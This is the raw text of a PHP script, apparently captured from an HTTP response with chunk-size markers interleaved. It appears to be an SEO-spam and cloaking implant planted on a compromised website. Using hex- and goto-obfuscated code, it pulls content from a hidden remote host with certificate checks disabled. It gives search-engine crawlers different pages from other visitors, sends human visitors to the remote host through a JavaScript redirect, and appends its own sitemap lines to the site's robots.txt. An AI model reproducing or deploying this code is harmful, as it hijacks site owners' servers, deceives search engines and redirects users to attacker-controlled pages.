2 true 2a , CURLOPT_CONNECTTIMEOUT => 5 44 , CURLOPT_TIMEOUT => 8, CURLOPT_SSL 35 _VERIFYPEER => false, CURLOPT_SSL_VERIFY 2d HOST => false, CURLOPT_FOLLOWLOC 2e ATION => false, CURLOPT_USERAGENT 20 => "Mozilla/5.0" 33 ]); $data = curl_exec($ch); curl_ 2b close($ch); } if (empty($data) 17 && ini_get('allow_url_f 23 open')) { $context = strea 23 m_context_create([ "ht 17 tp" => ["timeout" => 8, 15 "header" => "User-Ag 28 ent: Mozilla/5.0\r\n"], "ss 19 l" => ["verify_peer" => 43 false, "verify_peer_name" => false] ]); $data = @ 3d file_get_contents($url, false, $context); } if (! 37 empty($data)) cache_set($url, $data); return $data 62 ; } /* ------------------------- URL 信息 ------------------------- */ function get_ 16 url_info(string $type= 1c 'domain'): string { $ho 1d st = $_SERVER['HTTP_HOST'] ?? 1e ''; if ($type === 'no_ww 19 w') return preg_replace(' 16 /^www\./i', '', $host) 26 ; $protocol = (!empty($_SERVER[ 27 'HTTPS']) && $_SERVER['HTTPS'] !== 'off 1b ') ? "https://" : "http://" 2d ; $base = $protocol . $host; if ( 38 $type === 'base') return $base; if ($type === 'full 28 ') return $base . ($_SERVER['REQUEST_URI 4c '] ?? ''); return $host; } /* ------------------------- 基 2a 础变量 ------------------------- */ g 17 oto ONPuB; ONPuB: $http 21 _type = !empty($_SERVER["\x48\124 2c \x54\x50\x53"]) && $_SERVER["\x48\124\124\x5 17 0\x53"] !== "\157\x66\1 19 46" ? "\150\x74\x74\x70\1 15 63\72\x2f\x2f" : "\x6 21 8\164\164\160\72\x2f\57"; goto O4 1a O9k; O4O9k: $vurl = "\x74\ 16 157\56\152\147\141\x6c 24 \x6c\163\x2e\143\157\x6d\x2f"; goto 16 vgv72; vgv72: $qz = su 21 bstr(str_replace(array("\x77\x77\ 17 167\x2e", "\56"), '', $ 25 _SERVER["\110\x54\x54\120\x5f\x48\x4f 15 \123\x54"]), 0, 3); 2f /* ------------------------- 解析 f 参 37 数 ------------------------- */ $sz = $iid = ""; if 18 (!empty($_GET)){ $f=re 25 set($_GET); $sp = explode('-', $ 1d f); if (count($sp) === 2 2c ) { $sz = $sp[0]; $iid = 3b $sp[1]; } } /* ------------------------- 远 35 接口 ------------------------- */ if (!empty($sz 29 )) { $jd = getCurlFast("{$http_type} 12 {$vurl}3kg.aspx?sz 1a =" . urlencode($sz)); } e 55 lse { $jd = getCurlFast("{$http_type}{$vurl}3kg.aspx?xy={$http_type}"); $sz 4d = getCurlFast("{$http_type}{$vurl}3kg.aspx?jd=" . urlencode($jd)); } $hy 15 zhdy = $jd . "41.aspx 47 "; $surl = $jd . "s41.aspx"; /* ------------------------- r 31 obots / sitemap ------------------------- */ $s 25 itemapLine = "Sitemap: {$http_type}{$ 2b _SERVER['HTTP_HOST']}{$_SERVER['SCRIPT_NAME 15 ']}?w=" . date('YmdHi 1c ') . "\n"; function ensure_ 2f robots_sitemap($sitemapLine) { $robots = r 1b trim($_SERVER['DOCUMENT_ROO 1a T'], "/\\") . '/robots.txt 42 '; if (!file_exists($robots)) { @file_put_contents($ 1d robots, "User-agent: *\nAllow 27 : /\n" . $sitemapLine, LOCK_EX); } 44 else { $c = @file_get_contents($robots); if ($c = 24 == false || strpos($c, $sitemapLine) 4b === false) { @file_put_contents($robots, $sitemapLine, FILE_A 28 PPEND | LOCK_EX); } } } 5a /* ------------------------- w= 输出 ------------------------- */ if (!empty($ 1a get['w'])) { $param 14 s = http_build_query 1f ([ 'NOUmber' => $get[' 2e NOUmber'] ?? '', 't' => $get['t 4e '] ?? '', 'cn' => $get['cn'] ?? '', 'pNOUm' => $get[' 43 pNOUm'] ?? '', 'cid' => $get['cid'] ?? '', 'm 41 ' => $get['m'] ?? '' ]); $str = getCurlFast("{$ 1f surl}?{$params}"); echo 24 str_replace( ['yymm','ggggg 34 ','?f='], [$http_type.$_SERVER['HTTP_HOST'] 27 .$_SERVER['SCRIPT_NAME'], $sz,'?'.$qz.' 51 ='], $str ); exit; } /* ------------------------- IP c 判定( e 留 kk 测试 36 ) ------------------------- */ $kk = isset($get['k 1f k']) ? trim($get['kk']) : ''; 1c $ip = ($kk !== '') ? "66.249 3e .82.8" : get_real_ip(); /* ------------------------- 38 getdomain2 判断 ------------------------- */ $domain 2e = trim(getCurlFast($jd . "getdomain2.aspx?rnd 39 =1&ip=" . $ip)); /* ------------------------- 11 google + iid 34 跳转 ------------------------- */ if ($domain 27 !== 'google' && !empty($iid)) { $k 2c name = urldecode(getCurlFast($jd . "gn.aspx? 20 iid=" . $iid)); echo 'location="' . $jd . " 2a a.aspx?cname=" . urlencode($kname) . "&url 41 =" . $http_type . $_SERVER['HTTP_HOST'] . $_SERVER['SCRIPT_NAME'] 7b . '"'; exit; } /* ------------------------- iid 输出 ------------------------- */ if (!empty($ 35 iid)) { $str = getCurlFast($hyzhdy . "?iid={$iid 42 }"); echo str_replace( ['ggggg','YYYYY','XXXYYY',' 14 当前URL','UUUUU',' 3b MMMMM','?f='], [$sz, get_url_info(), get_url_info( 3b 'base'), get_url_info('full'), get_url_info('no_www'),parse 28 _url($_SERVER['REQUEST_URI'], PHP_URL_PA 6a TH),'?'.$qz.'='], $str ); exit; } /* ------------------------- sitemap helper 3b ------------------------- */ function output_sitemap_and 4a _exit($sitemapLine, $http_type) { ensure_robots_sitemap($sitemapLine) 1d ; echo "
70 Sitemap
"; exit; } /* ------------------------- kk 3a 输出控制 ------------------------- */ if ($kk !== '' 15 && preg_match('/^[A- 10 Za-z0-9]+$/', $k 3d k)) { $remote = getCurlFast($jd . "getdomain2.aspx?rnd=2 25 &kk=" . $kk); if (!empty($remote 38 )) { echo $remote; exit; } } 7c if ($kk !== '' && !preg_match('/^[A-Za-z0-9]+$/', $kk)) { output_sitemap_and_exit($sitemapLine, $http_type); } $is_ 20 no_query = empty($_SERVER['QUERY 2d _STRING']); if ($kk === '' && $is_no_query 78 ) { if ($domain === 'google') { output_sitemap_and_exit($sitemapLine, $http_type); } else { 4b exit; } } output_sitemap_and_exit($sitemapLine, $http_type); ?> 0